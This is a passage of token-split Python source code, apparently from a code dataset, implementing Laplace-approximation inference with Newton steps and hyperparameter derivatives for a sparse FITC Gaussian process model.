"(_", "np_", "._", "linalg_", "._", "solve_", "(_", "jit", "chol", "_", "(_", "rot", "180_", "(_", "A_", ")_", ")_", ",_", "np_", "._", "eye_", "(_", "nu_", ")_", ")_", ")_", "#", " ", "chol", "(", "inv", "(", "A", "))", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "R0", "_", "=_", "chol", "\\u", "inv_", "(_", "Ku", "u_", "+_", "sn", "u2_", "*_", "np_", "._", "eye_", "(_", "nu_", ")_", ")_", "#", " ", "initial", " ", "R", ",", " ", "used", " ", "for", " ", "refre", "sh", " ", "O", "(", "nu", "^", "3", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "V_", "=_", "np_", "._", "dot_", "(_", "R0", "_", ",_", "Ku", "_", ")_", ";_", "d0_", "=_", "diag", "K_", "-_", "np_", "._", "array_", "(_", "[_", "(_", "V_", "*_", "V_", ")_", "._", "sum_", "(_", "axis_", "=_", "0_", ")_", "]_", ")_", "._", "T_", "#", " ", "initial", " ", "d", ",", " ", "needed_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Psi", "\\u", "old_", "=_", "np_", "._", "inf_", "#", " ", "make", " ", "sure", " ", "whi", "le", " ", "loop", " ", "starts", " ", "by", " ", "the", " ", "large", "st", " ", "old", " ", "objecti", "ve", " ", "val_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "last", "\\u", "alpha_", "is_", "None_", ":_", "#", " ", "find", " ", "a", " ", "good", " ", "startin", "g", " ", "point", " ", "for", " ", "alpha", " ", "and", " ", "f_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "=_", "np_", "._", "zeros_", "(_", "(_", "n_", ",_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "self_", "._", "\\u", "mv", "m", "K_", "(_", "alpha_", ",_", "V_", ",_", "d0_", ")_", "+_", "m_", "#", " ", "start", " ", "at", " ", "mean", " ", "if", " ", "size", "s", " ", "not", " ", "match_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "var", "gou", "t_", "=_", "lik", "func_", "._", "evaluate_", "(_", "y_", ",_", "f_", ",_", "None_", ",_", "inf", "func_", ",_", "None_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lp_", "=_", "var", "gou", "t_", "[_", "0_", "]_", ";_", "dlp", "_", "=_", "var", "gou", "t_", "[_", "1_", "]_", ";_", "d2", "lp_", "=_", "var", "gou", "t_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "W_", "=_", "-_", "d2", "lp_", ";_", "Psi", "\\u", "new_", "=_", "-_", "lp_", "._", "sum_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "=_", "self_", "._", "last", "\\u", "alpha_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "self_", "._", "\\u", "mv", "m", "K_", "(_", "alpha_", ",_", "V_", ",_", "d0_", ")_", "+_", "m_", "#", " ", "try", " ", "last", " ", "one_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "var", "gou", "t_", "=_", "lik", "func_", "._", "evaluate_", "(_", "y_", ",_", "f_", ",_", "None_", ",_", "inf", "func_", ",_", "None_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lp_", "=_", "var", "gou", "t_", "[_", "0_", "]_", ";_", "dlp", "_", "=_", "var", "gou", "t_", "[_", "1_", "]_", ";_", "d2", "lp_", "=_", "var", "gou", "t_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "W_", "=_", "-_", "d2", "lp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Psi", "\\u", "new_", "=_", "old", "\\u", "div_", "(_", "np_", "._", "dot_", "(_", "alpha_", "._", "T_", ",_", "(_", "f_", "-_", "m_", ")_", ")_", ",_", "2._", ")_", "-_", "lp_", "._", "sum_", "(_", ")_", "#", " ", "objecti", "ve", " ", "for", " ", "last", " ", "alpha_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "var", "gou", "t_", "=_", "-_", "lik", "func_", "._", "evaluate_", "(_", "y_", ",_", "m_", ",_", "None_", ",_", "inf", "func_", ",_", "None_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Psi", "\\u", "def_", "=_", "var", "gou", "t_", "[_", "0_", "]_", "#", " ", "objecti", "ve", " ", "for", " ", "default", " ", "init", " ", "f", "==", "m_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "Psi", "\\u", "def_", "<_", "Psi", "\\u", "new_", ":_", "#", " ", "if", " ", "default", " ", "is", " ", "bett", "er", ",", " ", "we", " ", "use", " ", "it_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "=_", "np_", "._", "zeros_", "(_", "(_", "n_", ",_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "self_", "._", "\\u", "mv", "m", "K_", "(_", "alpha_", ",_", "V_", ",_", "d0_", ")_", "+_", "m_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "var", "gou", "t_", "=_", "lik", "func_", "._", "evaluate_", "(_", "y_", ",_", "f_", ",_", "None_", ",_", "inf", "func_", ",_", "None_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lp_", "=_", "var", "gou", "t_", "[_", "0_", "]_", ";_", "dlp", "_", "=_", "var", "gou", "t_", "[_", "1_", "]_", ";_", "d2", "lp_", "=_", "var", "gou", "t_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "W_", "=_", "-_", "d2", "lp_", ";_", "Psi", "\\u", "new_", "=_", "-_", "lp_", "._", "sum_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "is", "Wn", "eg_", "=_", "np_", "._", "any_", "(_", "W_", "<_", "0_", ")_", "#", " ", "flag", " ", "indicati", "ng", " ", "whe", "ther", " ", "we", " ", "found", " ", "negati", "ve", " ", "values", " ", "of", " ", "W_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "it_", "=_", "0_", "#", " ", "this", " ", "happ", "ens", " ", "for", " ", "the", " ", "Stud", "ent", "'", "s", " ", "t", " ", "likelihood_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "(_", "Psi", "\\u", "old_", "-_", "Psi", "\\u", "new_", ">_", "tol_", ")_", "and_", "it_", "<_", "maxi", "t_", ":_", "#", " ", "begin", " ", "New", "ton_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Psi", "\\u", "old_", "=_", "Psi", "\\u", "new_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "it_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "is", "Wn", "eg_", ":_", "#", " ", "stab", "ilis", "e", " ", "the", " ", "New", "ton", " ", "direction", " ", "in", " ", "case", " ", "W", " ", "has", " ", "negati", "ve", " ", "values_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "W_", "=_", "np_", "._", "maximum_", "(_", "W_", ",_", "0_", ")_", "#", " ", "stab", "ilis", "e", " ", "the", " ", "Hes", "sia", "n", " ", "to", " ", "guaran", "tee", " ", "posti", "ve", " ", "definit", "ene", "ss_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tol_", "=_", "1e-8_", "#", " ", "increase", " ", "accu", "rac", "y", " ", "to", " ", "als", "o", " ", "get", " ", "the", " ", "derivatives", " ", "right_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "b_", "=_", "W_", "*_", "(_", "f_", "-_", "m_", ")_", "+_", "dlp", "_", ";_", "dd_", "=_", "old", "\\u", "div_", "(_", "1_", ",_", "(_", "1_", "+_", "W_", "*_", "d0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "RV", "_", "=_", "np_", "._", "dot_", "(_", "chol", "\\u", "inv_", "(_", "np_", "._", "eye_", "(_", "nu_", ")_", "+_", "np_", "._", "dot_", "(_", "V_", "*_", "np_", "._", "tile_", "(_", "(_", "W_", "*_", "dd_", ")_", "._", "T_", ",_", "(_", "nu_", ",_", "1_", ")_", ")_", ",_", "V_", "._", "T_", ")_", ")_", ",_", "V_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dal", "pha", "_", "=_", "dd_", "*_", "b_", "-_", "(_", "W_", "*_", "dd_", ")_", "*_", "np_", "._", "dot_", "(_", "RV", "_", "._", "T_", ",_", "np_", "._", "dot_", "(_", "RV", "_", ",_", "(_", "dd_", "*_", "b_", ")_", ")_", ")_", "-_", "alpha_", "#", " ", "New", "t", " ", "dir", " ", "+", " ", "line", " ", "search_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "var", "gou", "t_", "=_", "bre", "nt", "min_", "(_", "0_", ",_", "sma", "x_", ",_", "Nl", "ine_", ",_", "thr_", ",_", "self_", "._", "\\u", "Psi", "\\u", "line", "FIT", "C_", ",_", "4_", ",_", "dal", "pha", "_", ",_", "alpha_", ",_", "V_", ",_", "d0_", ",_", "m_", ",_", "lik", "func_", ",_", "y_", ",_", "inf", "func_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "=_", "var", "gou", "t_", "[_", "0_", "]_", ";_", "Psi", "\\u", "new_", "=_", "var", "gou", "t_", "[_", "1_", "]_", ";_", "Nf", "un_", "=_", "var", "gou", "t_", "[_", "2_", "]_", ";_", "alpha_", "=_", "var", "gou", "t_", "[_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "var", "gou", "t_", "[_", "4_", "]_", ";_", "dlp", "_", "=_", "var", "gou", "t_", "[_", "5_", "]_", ";_", "W_", "=_", "var", "gou", "t_", "[_", "6_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "is", "Wn", "eg_", "=_", "np_", "._", "any_", "(_", "W_", "<_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "last", "\\u", "alpha_", "=_", "alpha_", "#", " ", "remember", " ", "for", " ", "next", " ", "call_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "var", "gou", "t_", "=_", "lik", "func_", "._", "evaluate_", "(_", "y_", ",_", "f_", ",_", "None_", ",_", "inf", "func_", ",_", "None_", ",_", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lp_", "=_", "var", "gou", "t_", "[_", "0_", "]_", ";_", "dlp", "_", "=_", "var", "gou", "t_", "[_", "1_", "]_", ";_", "d2", "lp_", "=_", "var", "gou", "t_", "[_", "2_", "]_", ";_", "d3", "lp_", "=_", "var", "gou", "t_", "[_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "W_", "=_", "-_", "d2", "lp_", ";_", "is", "Wn", "eg_", "=_", "np_", "._", "any_", "(_", "W_", "<_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "post_", "=_", "post", "Struct_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "post_", "._", "alpha_", "=_", "np_", "._", "dot_", "(_", "R0", "_", "._", "T_", ",_", "np_", "._", "dot_", "(_", "V_", ",_", "alpha_", ")_", ")_", "#", " ", "return", " ", "the", " ", "posterior", " ", "parameters_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "post_", "._", "s", "W_", "=_", "np_", "._", "sqrt_", "(_", "np_", "._", "abs_", "(_", "W_", ")_", ")_", "*_", "np_", "._", "sign_", "(_", "W_", ")_", "#", " ", "preserve", " ", "sign", " ", "in", " ", "case", " ", "of", " ", "negative_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dd_", "=_", "old", "\\u", "div_", "(_", "1_", ",_", "(_", "1_", "+_", "d0_", "*_", "W_", ")_", ")_", "#", " ", "temporar", "y", " ", "variab", "le", " ", "O", "(", "n", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "A_", "=_", "np_", "._", "eye_", "(_", "nu_", ")_", "+_", "np_", "._", "dot_", "(_", "V_", "*_", "np_", "._", "tile_", "(_", "(_", "W_", "*_", "dd_", ")_", "._", "T_", ",_", "(_", "nu_", ",_", "1_", ")_", ")_", ",_", "V_", "._", "T_", ")_", "#", " ", "temporar", "y", " ", "variab", "le", " ", "O", "(", "n", "*", "nu", "^", "2", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "R0", "t", "V_", "=_", "np_", "._", "dot_", "(_", "R0", "_", "._", "T_", ",_", "V_", ")_", ";_", "B_", "=_", "R0", "t", "V_", "*_", "np_", "._", "tile_", "(_", "(_", "W_", "*_", "dd_", ")_", "._", "T_", ",_", "(_", "nu_", ",_", "1_", ")_", ")_", "#", " ", "temporar", "y", " ", "variab", "les", " ", "O", "(", "n", "*", "nu", "^", "2", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "post_", "._", "L_", "=_", "-_", "np_", "._", "dot_", "(_", "B_", ",_", "R0", "t", "V_", "._", "T_", ")_", "#", " ", "L", " ", "=", " ", "-", "R0", "'*", "V", "*", "inv", "(", "Kt", "+", "diag", "(", "1", "./", "tta", "u", "))", "*", "V", "'*", "R0", ",", " ", "first", " ", "part_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "np_", "._", "any_", "(_", "1_", "+_", "d0_", "*_", "W_", "<_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "'", "W", " ", "is", " ", "too", " ", "negati", "ve", ";", " ", "nl", "Z", " ", "and", " ", "dn", "l", "Z", " ", "cann", "ot", " ", "be", " ", "compute", "d", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "nl", "Z", " ", "=", " ", "np", ".", "dot", "(", "alpha", ".", "T", ",(", "f", "-", "m", "))", "/", "2", ".", " ", "-", " ", "lp", ".", "sum", "()", " ", "-", " ", "np", ".", "log", "(", "dd", ").", "sum", "()", "/", "2", ".", " ", "+", " ", "\\\\_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "np", ".", "log", "(", "np", ".", "diag", "(", "np", ".", "linalg", ".", "choles", "ky", "(", "A", ").", "T", "))", ".", "sum", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "nl", "Z_", "=_", "old", "\\u", "div_", "(_", "np_", "._", "dot_", "(_", "alpha_", "._", "T_", ",_", "(_", "f_", "-_", "m_", ")_", ")_", ",_", "2._", ")_", "-_", "lp_", "._", "sum_", "(_", ")_", "-_", "old", "\\u", "div_", "(_", "np_", "._", "log_", "(_", "dd_", ")_", "._", "sum_", "(_", ")_", ",_", "2._", ")_", "+_", "np_", "._", "log_", "(_", "np_", "._", "diag_", "(_", "jit", "chol", "_", "(_", "A_", ")_", "._", "T_", ")_", ")_", "._", "sum_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "RV", "_", "=_", "np_", "._", "dot_", "(_", "chol", "\\u", "inv_", "(_", "A_", ")_", ",_", "V_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "RV", "dd_", "=_", "RV", "_", "*_", "np_", "._", "tile_", "(_", "(_", "W_", "*_", "dd_", ")_", "._", "T_", ",_", "(_", "nu_", ",_", "1_", ")_", ")_", "#", " ", "RV", "dd", " ", "need", "ed", " ", "for", " ", "dn", "l", "Z_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "B_", "=_", "np_", "._", "dot_", "(_", "B_", ",_", "RV", "_", "._", "T_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "post_", "._", "L_", "+=_", "np_", "._", "dot_", "(_", "B_", ",_", "B_", "._", "T_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "narg", "out_", ">_", "2_", ":_", "#", " ", "do", " ", "we", " ", "want", " ", "derivatives", "?", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dn", "l", "Z_", "=_", "dn", "l", "ZS", "truct", "_", "(_", "mean", "func_", ",_", "cov", "func_", ",_", "lik", "func_", ")_", "#", " ", "allocate", " ", "space", " ", "for", " ", "derivatives", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[_", "d_", ",_", "P_", ",_", "R_", "]_", "=_", "self_", "._", "\\u", "fit", "c", "Refresh_", "(_", "d0_", ",_", "Ku", "_", ",_", "R0", "_", ",_", "V_", ",_", "W_", ")_", "#", " ", "g", " ", "=", " ", "diag", "(", "inv", "(", "inv", "(", "K", ")+", "W", "))", "/", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "=_", "old", "\\u", "div_", "(_", "d_", ",_", "2_", ")_", "+_", "0.5_", "*_", "np_", "._", "atl", "east", "\\u", "2d_", "(_", "(_", "np_", "._", "dot_", "(_", "np_", "._", "dot_", "(_", "R_", ",_", "R0", "_", ")_", ",_", "P_", ")_", "**_", "2_", ")_", "._", "sum_", "(_", "axis_", "=_", "0_", ")_", ")_", "._", "T_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "=_", "old", "\\u", "div_", "(_", "W_", ",_", "(_", "1_", "+_", "W_", "*_", "d0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "df", "hat_", "=_", "g_", "*_", "d3", "lp_", "#", " ", "deriv", ".", " ", "of", " ", "nl", "Z", " ", "wrt", ".", " ", "fh", "at", ":", " ", "df", "hat", "=", "diag", "(", "inv", "(", "inv", "(", "K", ")+", "W", "))", ".*", "d3", "lp", "/", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ii_", "in_", "range_", "(_", "len_", "(_", "cov", "func_", "._", "hyp", "_", ")_", ")_", ":_", "#", " ", "covariance", " ", "hypers", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ddi", "ag", "K_", ",_", "d", "Ku", "u_", ",_", "d", "Ku", "_", "=_", "cov", "func_", "._", "get", "Der", "Matrix_", "(_", "x_", "=_", "x_", ",_", "mode_", "=_", "'", "train", "'_", ",_", "der_", "=_", "ii_", ")_", "#", " ", "eval", " ", "cov", " ", "derivatives", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d", "A_", "=_", "2._", "*_", "d", "Ku", "_", "._", "T_", "-_", "np_", "._", "dot_", "(_", "R0", "t", "V_", "._", "T_", ",_", "d", "Ku", "u_", ")_", "#", " ", "d", "Q", " ", "=", " ", "d", "A", "*", "R0", "t", "V_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w_", "=_", "np_", "._", "atl", "east", "\\u", "2d_", "(_", "(_", "d", "A_", "*_", "R0", "t", "V_", "._", "T_", ")_", "._", "sum_", "(_", "axis_", "=_", "1_", ")_", ")_", "._", "T_", "#", " ", "w", " ", "=", " ", "diag", "(", "d", "Q", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "v_", "=_", "ddi", "ag", "K_", "-_", "w_", "#", " ", "v", " ", "=", " ", "diag", "(", "d", "K", ")-", "diag", "(", "d", "Q", ");", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "cov_", "[_", "ii_", "]_", "=_", "np_", "._", "dot_", "(_", "ddi", "ag", "K_", "._", "T_", ",_", "t_", ")_", "-_", "np_", "._", "dot_", "(_", "(_", "RV", "dd_", "*_", "RV", "dd_", ")_", "._", "sum_", "(_", "axis_", "=_", "0_", ")_", ",_", "v_", ")_", "#", " ", "explicit", " ", "part_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "cov_", "[_", "ii_", "]_", "-=_", "(_", "np_", "._", "dot_", "(_", "RV", "dd_", ",_", "d", "A_", ")_", "*_", "np_", "._", "dot_", "(_", "RV", "dd_", ",_", "R0", "t", "V_", "._", "T_", ")_", ")_", "._", "sum_", "(_", ")_", "#", " ", "explicit", " ", "part_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "cov_", "[_", "ii_", "]_", "=_", "0.5_", "*_", "dn", "l", "Z_", "._", "cov_", "[_", "ii_", "]_", "-_", "old", "\\u", "div_", "(_", "np_", "._", "dot_", "(_", "alpha_", "._", "T_", ",_", "np_", "._", "dot_", "(_", "d", "A_", ",_", "np_", "._", "dot_", "(_", "R0", "t", "V_", ",_", "alpha_", ")_", ")_", "+_", "v_", "*_", "alpha_", ")_", ",_", "2._", ")_", "#", " ", "explicit", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "np_", "._", "dot_", "(_", "d", "A_", ",_", "np_", "._", "dot_", "(_", "R0", "t", "V_", ",_", "dlp", "_", ")_", ")_", "+_", "v_", "*_", "dlp", "_", "#", " ", "b", "-", "K", "*(", "Z", "*", "b", ")", " ", "=", " ", "inv", "(", "eye", "(", "n", ")+", "K", "*", "diag", "(", "W", "))", "*", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "KZ", "b_", "=_", "self_", "._", "\\u", "mv", "m", "K_", "(_", "self_", "._", "\\u", "mv", "m", "Z_", "(_", "b_", ",_", "RV", "dd_", ",_", "t_", ")_", ",_", "V_", ",_", "d0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "cov_", "[_", "ii_", "]_", "-=_", "np_", "._", "dot_", "(_", "df", "hat_", "._", "T_", ",_", "(_", "b_", "-_", "KZ", "b_", ")_", ")_", "#", " ", "implicit", " ", "part_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "cov_", "[_", "ii_", "]_", "=_", "dn", "l", "Z_", "._", "cov_", "[_", "ii_", "]_", "[_", "0_", ",_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "ii_", "in_", "range_", "(_", "len_", "(_", "lik", "func_", "._", "hyp", "_", ")_", ")_", ":_", "#", " ", "likelihood", " ", "hypers", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "var", "gou", "t_", "=_", "lik", "func_", "._", "evaluate_", "(_", "y_", ",_", "f_", ",_", "None_", ",_", "inf", "func_", ",_", "ii_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lp", "\\u", "dh", "yp_", "=_", "var", "gou", "t_", "[_", "0_", "]_", ";_", "dlp", "\\u", "dh", "yp_", "=_", "var", "gou", "t_", "[_", "1_", "]_", ";_", "d2", "lp", "\\u", "dh", "yp_", "=_", "var", "gou", "t_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "lik", "_", "[_", "ii_", "]_", "=_", "-_", "np_", "._", "dot_", "(_", "g_", "._", "T_", ",_", "d2", "lp", "\\u", "dh", "yp_", ")_", "-_", "lp", "\\u", "dh", "yp_", "._", "sum_", "(_", ")_", "#", " ", "explicit", " ", "part_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "self_", "._", "\\u", "mv", "m", "K_", "(_", "dlp", "\\u", "dh", "yp_", ",_", "V_", ",_", "d0_", ")_", "#", " ", "implicit", " ", "part_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "lik", "_", "[_", "ii_", "]_", "-=_", "np_", "._", "dot_", "(_", "df", "hat_", "._", "T_", ",_", "b_", "-_", "self_", "._", "\\u", "mv", "m", "K_", "(_", "self_", "._", "\\u", "mv", "m", "Z_", "(_", "b_", ",_", "RV", "dd_", ",_", "t_", ")_", ",_", "V_", ",_", "d0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ii_", "==_", "len_", "(_", "lik", "func_", "._", "hyp", "_", ")_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "sinc", "e", " ", "sn", "u2", " ", "is", " ", "a", " ", "fixed", " ", "fract", "ion", " ", "of", " ", "sn", "2", ",", " ", "there", " ", "is", " ", "a", " ", "covariance", "-", "like", " ", "term_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "in", " ", "the", " ", "deriv", "ative", " ", "as", " ", "well_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "sn", "u_", "=_", "np_", "._", "sqrt_", "(_", "sn", "u2_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "T_", "=_", "chol", "\\u", "inv_", "(_", "Ku", "u_", "+_", "sn", "u2_", "*_", "np_", "._", "eye_", "(_", "nu_", ")_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "T_", "=_", "np_", "._", "dot_", "(_", "T_", "._", "T_", ",_", "np_", "._", "dot_", "(_", "T_", ",_", "sn", "u_", "*_", "Ku", "_", ")_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "=_", "np_", "._", "array_", "(_", "[_", "(_", "T_", "*_", "T_", ")_", "._", "sum_", "(_", "axis_", "=_", "0_", ")_", "]_", ")_", "._", "T_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "=_", "np_", "._", "dot_", "(_", "alpha_", "._", "T_", ",_", "np_", "._", "dot_", "(_", "T_", "._", "T_", ",_", "np_", "._", "dot_", "(_", "T_", ",_", "alpha_", ")_", ")_", "-_", "t_", "*_", "alpha_", ")_", "-_", "np_", "._", "dot_", "(_", "np_", "._", "array_", "(_", "[_", "(_", "RV", "dd_", "*_", "RV", "dd_", ")_", "._", "sum_", "(_", "axis_", "=_", "0_", ")_", "]_", ")_", ",_", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "+=_", "(_", "np_", "._", "dot_", "(_", "RV", "dd_", ",_", "T_", "._", "T_", ")_", "**_", "2_", ")_", "._", "sum_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "old", "\\u", "div_", "(_", "(_", "t_", "*_", "dlp", "_", "-_", "np_", "._", "dot_", "(_", "T_", "._", "T_", ",_", "np_", "._", "dot_", "(_", "T_", ",_", "dlp", "_", ")_", ")_", ")_", ",_", "2._", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "KZ", "b_", "=_", "self_", "._", "\\u", "mv", "m", "K_", "(_", "self_", "._", "\\u", "mv", "m", "Z_", "(_", "b_", ",_", "RV", "dd_", ",_", "t_", ")_", ",_", "V_", ",_", "d0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "-=_", "np_", "._", "dot_", "(_", "df", "hat_", "._", "T_", ",_", "b_", "-_", "KZ", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "lik", "_", "[_", "ii_", "]_", "+=_", "z_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "lik", "_", "[_", "ii_", "]_", "=_", "dn", "l", "Z_", "._", "lik", "_", "[_", "ii_", "]_", "[_", "0_", ",_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "ii_", "in_", "range_", "(_", "len_", "(_", "mean", "func_", "._", "hyp", "_", ")_", ")_", ":_", "#", " ", "mean", " ", "hypers", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dm_", "=_", "mean", "func_", "._", "get", "Der", "Matrix_", "(_", "x_", ",_", "ii_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "mean_", "[_", "ii_", "]_", "=_", "-_", "np_", "._", "dot_", "(_", "alpha_", "._", "T_", ",_", "dm_", ")_", "#", " ", "explicit", " ", "part_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Zd", "m_", "=_", "self_", "._", "\\u", "mv", "m", "Z_", "(_", "dm_", ",_", "RV", "dd_", ",_", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "mean_", "[_", "ii_", "]_", "-=_", "np_", "._", "dot_", "(_", "df", "hat_", "._", "T_", ",_", "(_", "dm_", "-_", "self_", "._", "\\u", "mv", "m", "K_", "(_", "Zd", "m_", ",_", "V_", ",_", "d0_", ")_", ")_", ")_", "#", " ", "implicit", " ", "part_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "mean_", "[_", "ii_", "]_", "=_", "dn", "l", "Z_", "._", 